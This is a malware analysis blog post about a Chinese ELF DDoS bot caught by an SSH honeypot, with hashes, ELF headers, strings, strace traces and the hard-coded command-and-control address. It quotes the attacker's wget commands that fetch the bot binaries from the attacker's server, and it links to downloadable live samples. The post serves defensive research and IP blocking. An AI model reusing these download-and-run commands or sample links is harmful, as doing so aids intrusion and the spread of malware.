@MalwareMustDie prepare for DM, found new ELF DoS tools.
— Markus R. (@wirehack7) May 11, 2014
The attacker's information
We did not release the source information of the attacker before since we wanted to be sure about the source IP. Now we are sure and having some evidence about this, hence a disclosure: The attacker was coming from China network IP: 182.86.60.105 connection (with the below details)
via SSH protocol to our trap, with afterward downloading the ELF malware directly from 222.76.210.140 via "wget" which is also is in China IP address as per shown below, in a Chinese web server (called: HFS):
And then we know that the malware is trying to connect back to that China IP: 222.76.210.140 as per hard coded in the binary. Later on, we suggest this attack is highly suspected originated from China, by Chinese actor(s), for whatever malicious purpose they after, and I think you should know about this case too.
The URL used to download the malware is as per masked below:
wget h00p:// 222.76 .210.140:81/xx64 wget h00p:// 222.76 .210.140:81/xx32Which was served under "HFS" (Chinese Web Server) that is currently up as per below sigs:
---response begin--- HTTP/1.1 404 隆孀欺 Content-Type: text/html Accept-Ranges: bytes Server: HFS 2.3 betaNow the malware "looks" removed from the server. If you see the meaning of "隆孀欺" is an interesting meaning (try to Google translate it is fun).
For me it's likely not a coincidence (like a hack cases) to see a root directory of a web service under unusual port number (81) and serving a malicious set of tools. Thank's to the good setting of the "trap", so we got all installation attempt recorded as I remade in following video and additionally, samples! :-)
As you can see in the video above, the file was successfully downloaded. The "attacker tried to download xx32 binary and failed at the beginning of the session and continuing download xx64, a 64 architecture binary, which he is not successfully running it (smile), and he tried to download the xx32 binary afterwards, which also fail to start (no comment about this).
So we have the two new binaries downloaded with the generosity of the attacker and it was uploaded in the Virus Total as per below links:
The xx32, link is here-->>[VirusTotal]
SHA256: c9430a0b8bdbb92918da25d41d33d9b1c72d0224ea5793a0e1fc2083184f3a32 File name: 20140511130222_http___222_76_210_140_81_xx32 Detection ratio: 7 / 52 Analysis date: 2014-05-11 16:48:40 UTC ( "20 hours", 30 minutes ago ) Avast ELF:Farfli-B [Trj] 20140511 CAT-QuickHeal Linux.Elknot.E5f 20140510 DrWeb Linux.DDoS.1 20140511 ESET-NOD32 Linux/Agent.H 20140511 Ikarus DoS.Linux.Elknot 20140511 Kaspersky Backdoor.Linux.Mayday.f 20140511 Microsoft DoS:Linux/Elknot.E 20140511
The xx64, link is here-->>[VirusTotal]
SHA256: 3f3fcfdbb211d79d18c386afa973f1182977120a1c61f774105fa9326c4192ce File name: 20140511130124_http___222_76_210_140_81_xx64 Detection ratio: "3 / 44" Analysis date: 2014-05-11 16:41:29 UTC ( "20 hours", 38 minutes ago ) Avast ELF:Elknot-M [Trj] 20140511 CAT-QuickHeal Linux.Elknot.E61 20140510 Microsoft DoS:Linux/Elknot.E 20140511For the further details, I share my analysis as per written in sections to come.
Binary Analysis
Snipping NIX hd command I can see the both files are ELF, in 32 and 64 bit form,
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 03 00 01 00 00 00 10 81 04 08 34 00 00 00 |............4...| 00000020 1c 0a 10 00 00 00 00 00 34 00 20 00 05 00 28 00 |........4. ...(.|..and when firing NIX file the summary of the binary is clearly reported, I picked the 32 bit one, is self explanatory..:
xx32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not strippedfor the reversing purpose I need more information, so I use my elf reader script to get some pointers like this header parts:
Data: 2's complement, little endian Entry point address: 0x8048110 Start of program headers: 52 (bytes into file) Start of section headers: 1051164 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 5 Size of section headers: 40 (bytes) Number of section headers: 27 Section header string table index: 24To analyze the binary, the below information also I retrieved beforehand, like what program headers used:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0xfd571 0xfd571 R E 0x1000 LOAD 0x0fd574 0x08146574 0x08146574 0x02414 0x4b160 RW 0x1000 NOTE 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4 TLS 0x0fd574 0x08146574 0x08146574 0x00000 0x00008 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4Below is the segment sections:
Segment | Sections... 00 .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table .note.ABI-tag 01 .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs 02 .note.ABI-tag 03 .tbssNoted there are some un-named sections..
What this binary "doesn't have" is actually very important for further analysis, like the below data:
No dynamic section in this file. No section groups in this file. No relocations in this file. No unwind sections in this file. No version information found in this file.Interestingly, I noticed at the offset 0x000000d4 with length 0x00000020 it contains the below data..
Owner Data size Description "GNU" 0x00000010 "NT_VERSION" (version)OMG, so we have a GNU Linux ELF with NT_VERSION here :-D
The "Symbols", is in the so-called .symtab' sections and contains 5963 entries (wow!), too long to paste here so I use pastebin here-->[MMD Pastebin].
The malware binary sample has huge unstripped strings, so I dare not uploading them all to pastebin because is just too big, but always be noted all of the below strings used for networking (name solving/DNS), which, in my opinion, the last part is showing the traces of libnss traces:
0x00E3305 0x00E3305 LOCALDOMAIN 0x00E3311 0x00E3311 /etc/resolv.conf 0x00E3322 0x00E3322 domain 0x00E3329 0x00E3329 search 0x00E3330 0x00E3330 nameserver 0x00E333B 0x00E333B sortlist 0x00E3344 0x00E3344 options 0x00E334C 0x00E334C RES_OPTIONS 0x00E3361 0x00E3361 multi 0x00E3367 0x00E3367 nospoof 0x00E336F 0x00E336F spoofalert 0x00E337A 0x00E337A reorder 0x00E338F 0x00E338F nowarn 0x00E3396 0x00E3396 RESOLV_HOST_CONF 0x00E33A7 0x00E33A7 RESOLV_SERV_ORDER 0x00E33B9 0x00E33B9 RESOLV_SPOOF_CHECK 0x00E33CC 0x00E33CC RESOLV_MULTI 0x00E33D9 0x00E33D9 RESOLV_REORDER 0x00E33E8 0x00E33E8 RESOLV_ADD_TRIM_DOMAINS 0x00E3400 0x00E3400 RESOLV_OVERRIDE_TRIM_DOMAINS 0x00E341D 0x00E341D /etc/host.conf 0x00E342C 0x00E342C %s: line %d: expected service, found 0x00E3458 0x00E3458 %s: line %d: list delimiter not followed by keyword 0x00E348C 0x00E348C %s: line %d: cannot specify more than %d services 0x00E34C0 0x00E34C0 %s: line %d: cannot specify more than %d trim domains 0x00E34F8 0x00E34F8 %s: line %d: list delimiter not followed by domain 0x00E352C 0x00E352C %s: line %d: expected 0x00E3543 0x00E3543 on' or ' 0x00E354B 0x00E354B off', found 0x00E3560 0x00E3560 %s: line %d: bad command 0x00E3580 0x00E3580 %s: line %d: ignoring trailing garbage 0x00E35BC 0x00E35BC aliases 0x00E35C4 0x00E35C4 ethers 0x00E35CB 0x00E35CB netgroup 0x00E35D4 0x00E35D4 networks 0x00E35DD 0x00E35DD passwd 0x00E35E4 0x00E35E4 protocols 0x00E35EE 0x00E35EE publickey 0x00E35FC 0x00E35FC services 0x00E3605 0x00E3605 shadow 0x00E360C 0x00E360C illegal status in __nss_next 0x00E3629 0x00E3629 NOTFOUND 0x00E3632 0x00E3632 TRYAGAIN 0x00E363B 0x00E363B CONTINUE 0x00E3644 0x00E3644 SUCCESS 0x00E364C 0x00E364C UNAVAIL 0x00E3654 0x00E3654 RETURN 0x00E365B 0x00E365B /etc/nsswitch.conf 0x00E366E 0x00E366E nis [NOTFOUND=return] files 0x00E368A 0x00E368A dns [!UNAVAIL=return] files
Thinking that I might get lucky since the binary is unstripped so I search for the source code used to build this "tool" and grabbed the filename as per below:
Fake.cpp Global.cpp main.cpp Manager.cpp ServerIP.cpp StatBase.cpp ThreadAttack.cpp ThreadHostStatus.cpp ThreadTaskManager.cpp ThreadTimer.cpp AutoLock.cpp FileOp.cpp Log.cpp Md5.cpp Media.cpp NetBase.cpp ThreadCondition.cpp Thread.cpp ThreadMutex.cpp Utility.cpp Fake.cpp Global.cpp main.cpp Manager.cpp ServerIP.cpp StatBase.cpp ThreadAttack.cpp ThreadHostStatus.cpp ThreadTaskManager.cpp ThreadTimer.cpp AutoLock.cpp FileOp.cpp Log.cpp Md5.cpp Media.cpp NetBase.cpp ThreadCondition.cpp Thread.cpp ThreadMutex.cpp Utility.cppSince the binary is staticlaly compiled and not dynamically linked to any library, we can see some original functions coded inside of this malware, which also explained the big size in codes.
Seeking further, I found the compilation environment used:
GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10)And, as the bonus, the CNC IP address in hard coded, yaay! :-D
0x00CCC31 0x00CCC31 "222.76.210.140"
Reversing & Trailing the assembly reversed
By seeing the cpp file names and the symbols used (see above section), half of mistery was actually "almost" solved and this file is definitely malicious. But to be sure, it's nice to trail it down in reversing mode, by any tools..anything will do, to confirm its maliciousness. Right about doing it, I got the advise that it would be nice also to make reversing video for others to learn, so I choosed IDA for this purpose because is "animated" and comprehensive :-).
In the file listed above there is the main.cpp which is suggesting me that main() function is a good place to start. You can see the video below, but noted: this is not the very details reversing (I can't make long video anyway) and is for the summary purpose, so I skim the flow in understandable way to get the whole idea. Please feel free do it yourself for getting your preferable result and focus:
As you see in the trailing the reversed code above that it grabs the environmental information (gethostname was called many times & so does open of system info files) during initiation, some networking to start operation, and then trying to establish connection to the remote IP address, to the hard coded IP address and some to the "targeted" hosts.. By the way, the hard coded IP address is the same IP where this malware was downloaded, the 222.76.210.140.
Then we see this malware is demonized, listening to the socket, looping for continuing to connect operation is detected. And also reading and writing the an INI file (which they malcoder called this as "fake config" for some reason..). We can see some aggressive calls to perform the "attack" by allocating a form of data from the buffer in there. Also can be seen the function to encode the data which suggesting the CNC communication is in encrypted mode, as per shown in video, the usage the xor key used can be "utilised" to decrypt ones, had no chance to try it yet though..
Last one, the usage of some functions in libnss is suggesting the pairing in encryption, and so on.. Additionaly you'll see many interesting detail functions was used too. These functions was made so detail to run the binary as standalone purpose.
It is indeed interesting! So I was attempted further debug and make another video for debugging! Never did this before.. I hope to see the CNC communication & the effort to attack :-), please see next section.
Behavior and Network Analysis
As you see in the above sections, we know how the binary is formed and summary of the malicious operations observed in reversing, so now how does it actual current work?
Shortly, I dare myself to make video of behavior analysis I tested too :-) with the details that I will explain further, see the below:
Maybe you can not see it well in the flash where debug and running this, so let me explain also as following: The host information was grabbed by the system calls "uname()" together with the networking information (hosts, resolve.conf,etc..).
execve("./xx32", ["./xx32"], [/* 21 vars */]) = 0 uname({sys="Linux", node="xxx.xxx.xxx", ...}) = 0 getpid() = 13441 open("/proc/cpuinfo", O_RDONLY) = 3 read(3, "processor\t: 0\nvendor_id\t: Genuin"..., 1024) = 375 open("/proc/stat", O_RDONLY) = 3 read(3, "cpu 144019 163 172448 286301101"..., 1024) = 694 open("/proc/net/dev", O_RDONLY) = 3 read(3, "Inter-| Receive "..., 1024) = 575 readlink("/proc/13441/exe", "/xx/xx/xx/xx32", 1024) = 38 open("/etc/resolv.conf", O_RDONLY) = 3 read(3, "search aaa.aaa.aaa b.b.b.b"..., 4096) = 156 open("/etc/host.conf", O_RDONLY) = 3Usage of libnss..with the below trace:
read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1623 open("/lib/libnss_files.so.2", O_RDONLY) = 3 open("/lib/tls/libc.so.6", O_RDONLY) = 3And loading the system command overriding API..
open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/ld-linux.so.2", O_RDONLY) = 3Deleting the INI file if exist and creating new one:
unlink("/xx/xx/xx/xx32\\xmit.ini") = -1 ENOENT (No such file or directory) open("/xx/xx/xx/xx32\\xmit.ini", O_RDWR|O_CREAT|O_TRUNC, 0666) = 3 fstat64(3, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7bc7000 write(3, "0\r\n127.0.0.1:127.0.0.1\r\n10000:60"..., 49) = 49 close(3) = 0After spartan efforts (noted the "s") to write the INI files:
rt_sigprocmask(SIG_SETMASK, NULL, [RTMIN], 8) = 0 write(4, "\340r\24\10\0\0\0\0(\224\375\10\16\220\5\10 \224\375\10\0\0\0\200\0\0\0\0T\212\24\10"..., 148) = 148 rt_sigprocmask(SIG_SETMASK, NULL, [RTMIN], 8) = 0 rt_sigsuspend([]It tried to connect to the hard coded IP address mentioned.--- SIGRTMIN (Unknown signal 32) @ 0 (0) --- <... rt_sigsuspend resumed> ) = -1 EINTR (Interrupted system call) sigreturn() = ? (mask now [RTMIN])
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 5 setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 setsockopt(5, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0 fcntl64(5, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(5, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(5, {sa_family=AF_INET, sin_port=htons(6009), sin_addr=inet_addr("222.76.210.140")}, 16) = -1 EINPROGRESS (Operation now in progress)As you can see the snapshot of the PCAP taken....
.. the CNC was refusing the TCP handshake connection (RST,ACK). In debug codes is as per below:
setsockopt(5, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0 setsockopt(5, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0 setsockopt(5, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0 send(5, "!\3\0\0\0\177\0\0\1\177\0\0\1\20\'`\352\0\0\0\0\0\0\0\0\0\0\0\0\0Li"..., 414, 0) = -1 ECONNREFUSED (Connection refused) close(5) = 0 nanosleep({15, 0},The malware, as per predicted in reversing part, is running as loop to keep on trying connecting to the mother host (after sleeps 15 secs..assuming to reset the connection), and it is now still running in my testbed with hoping to connect and see what will happen ;-)) I really look forward to gain connection it to the China IP's CNC to PoC the remote DoS attack functions stated in the writing above.
Samples
For they who want to try to test or researching this malware, you can download it here-->>[MediaFire] with the usual password. :D
Moral of the story
Linux reversing is actually fun, open source provides many good tools to disassembly and debugging any executables or libraries, do not hesitate to do it by your self!
Please take a good care of your SSH and FTP services friends! See the advice I wrote some tuning tips for sshd in the video above.
The last point is, block 182.86.60.105 and 222.76.210.140, these IP addresses are not good ones, please help yourself by exclude any access from these. You won't need to access these IPs anyway :-D
You tell me, who the attacker is, IF↓:
(1) The SSH attacker IP address is from China, (2) He downloaded from "next" China IP for malware in a China from... (3) ..an original China made web server (HFS) runs in specific port (81) from its root directory and.. (4) if you run the malware, it'll back-connect to same China IP.. (5) ..And that IP address is hard coded in the binary!
Recent Updates of this threat
This threat is agressively improving its variant with the encryption, hiding their CNC IP address, changing CNC to non 80 port numbers, new DDoS functions, and starting to aim USA servers as their CNC instead the initial China servers they used to do. With the same MO of using HFS. Below are some tweets following their changes:
China #ELF DDoS'er tried to hide CNC's info & #FAIL!
https://t.co/qENnSek9Xg https://t.co/E5w2Hi7u0l #MalwareMustDie pic.twitter.com/uFrpdJs6jD
— MalwareMustDie, NPO (@MalwareMustDie) August 7, 2014
Another China attack on #USA network,pic=CNC
samples:https://t.co/qENnSek9Xg
https://t.co/E5w2Hi7u0l #MalwareMustDie! pic.twitter.com/xuGmOt9eA1
— MalwareMustDie, NPO (@MalwareMustDie) August 8, 2014
Hack in progress recorded https://t.co/0nckMi7c6M
Infection of #China #DDoS #ELF family: https://t.co/OnEvp97pUM https://t.co/HcHtnQMzal
— MalwareMustDie, NPO (@MalwareMustDie) July 30, 2014
A bit @radareorg trick for #ELF #malware in https://t.co/HcHtnQMzal
cc: @dukebarman @a0rtega Here!
#MalwareMustDie pic.twitter.com/Fl7BgqJP0E
— MalwareMustDie, NPO (@MalwareMustDie) July 30, 2014
#MalwareMustDie!